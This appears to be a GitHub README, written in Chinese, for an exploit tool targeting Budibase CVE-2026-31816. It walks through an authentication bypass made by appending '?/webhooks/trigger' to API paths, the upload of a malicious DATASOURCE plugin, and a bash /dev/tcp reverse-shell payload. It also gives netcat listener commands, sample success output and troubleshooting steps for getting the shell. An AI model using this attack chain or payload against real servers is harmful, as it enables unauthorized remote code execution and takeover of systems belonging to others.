imjdl/CVE-2026-31816-rshell
GitHub: imjdl/CVE-2026-31816-rshell
针对 Budibase 平台 CVE-2026-31816 漏洞的自动化利用脚本,通过插件上传实现认证绕过并获取反弹 Shell。
Stars: 0 | Forks: 0
# CVE-2026-31816 Reverse Shell 漏洞利用
## 概述
该工具利用 CVE-2026-31816 漏洞,在目标 Budibase 服务器上建立 reverse shell 连接。
**攻击链**:身份验证绕过 → 上传 DATASOURCE 插件 → 服务端代码执行 → Reverse Shell
## 环境要求
- Python 3.6+
- `requests` 库 (`pip install requests`)
- 目标 Budibase 服务器存在 CVE-2026-31816 漏洞
## 使用方法
### 基本步骤
```
# 在攻击机上启动监听器
nc -lvnp 4444
# 运行 exploit (另一个终端)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444
```
### 参数说明
| 参数 | 必填 | 描述 |
|-----------|----------|-------------|
| `-t, --target` | ✅ | 目标 Budibase URL |
| `--lhost` | ✅ | 监听主机(你的 IP) |
| `--lport` | ❌ | 监听端口(默认:4444) |
### 示例
```
# 攻击者 IP:192.168.1.100
# 目标 Budibase:192.168.1.128:10000
# 终端 1 - 启动监听器
nc -lvnp 4444
# 终端 2 - 运行 exploit
python3 CVE-2026-31816-rshell.py \
-t http://192.168.1.128:10000 \
--lhost 192.168.1.100 \
--lport 4444
```
## 工作原理
### 1. 漏洞检查
```
GET /api/integrations?/webhooks/trigger
```
如果返回 200,则目标存在身份验证绕过漏洞。
### 2. 创建恶意插件
```
{
"type": "datasource",
"schema": { ... }
}
```
DATASOURCE 类型插件会在服务器上执行 JavaScript 代码。
### 3. Reverse Shell 载荷
```
// Executed when plugin is validated:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
```
### 4. 上传并执行
```
POST /api/plugin/upload?/webhooks/trigger
```
绕过身份验证上传插件。代码在验证期间执行。
## 攻击流程
```
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Attacker │ │ Target │ │ Listener │
│ │ │ Server │ │ (nc) │
│ │ │ │ │ │
│ exploit ────┼────►│ Upload │ │ │
│ │ │ Plugin │ │ │
│ │ │ Execute │────►│ Listen │
│ │ │ Code │◄────┤ Reverse │
│ │ │ │ │ Connect │
└─────────────┘ └─────────────┘ └─────────────┘
```
## 成功指标
```
============================================================
CVE-2026-31816 - Reverse Shell Exploit
============================================================
[*] Target: http://192.168.1.128:10000
[*] Reverse shell: 192.168.1.100:4444
[*] Checking vulnerability...
[+] Target is vulnerable!
[*] Creating reverse shell plugin targeting 192.168.1.100:4444
[*] Uploading reverse shell plugin...
[*] Status: 200
[+] Plugin installed successfully!
============================================================
[+] SUCCESS! Check your listener!
============================================================
```
## 故障排除
### 问:连接失败,未收到 shell
**可能原因**:
1. 防火墙阻止了反向连接
2. 目标服务器无法访问攻击者 IP
3. 目标服务器缺少 bash
**解决方案**:
```
# 检查网络连通性
ping YOUR_IP
# 检查防火墙
sudo ufw allow 4444/tcp
# 尝试不同的端口
nc -lvnp 8080
```
### 问:上传失败
**可能原因**:
1. 目标已修复该漏洞
2. 网络问题
**解决方案**:
```
# 手动测试漏洞是否存在
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# 如果返回 JSON,则漏洞存在
```
标签:Budibase, CISA项目, CVE-2026-31816, PoC, Python Exploit, RCE, 低代码平台安全, 反序列化漏洞, 反弹Shell, 恶意插件上传, 数据可视化, 暴力破解, 服务器端攻击, 编程工具, 网络安全, 认证绕过, 远程代码执行, 逆向工具, 隐私保护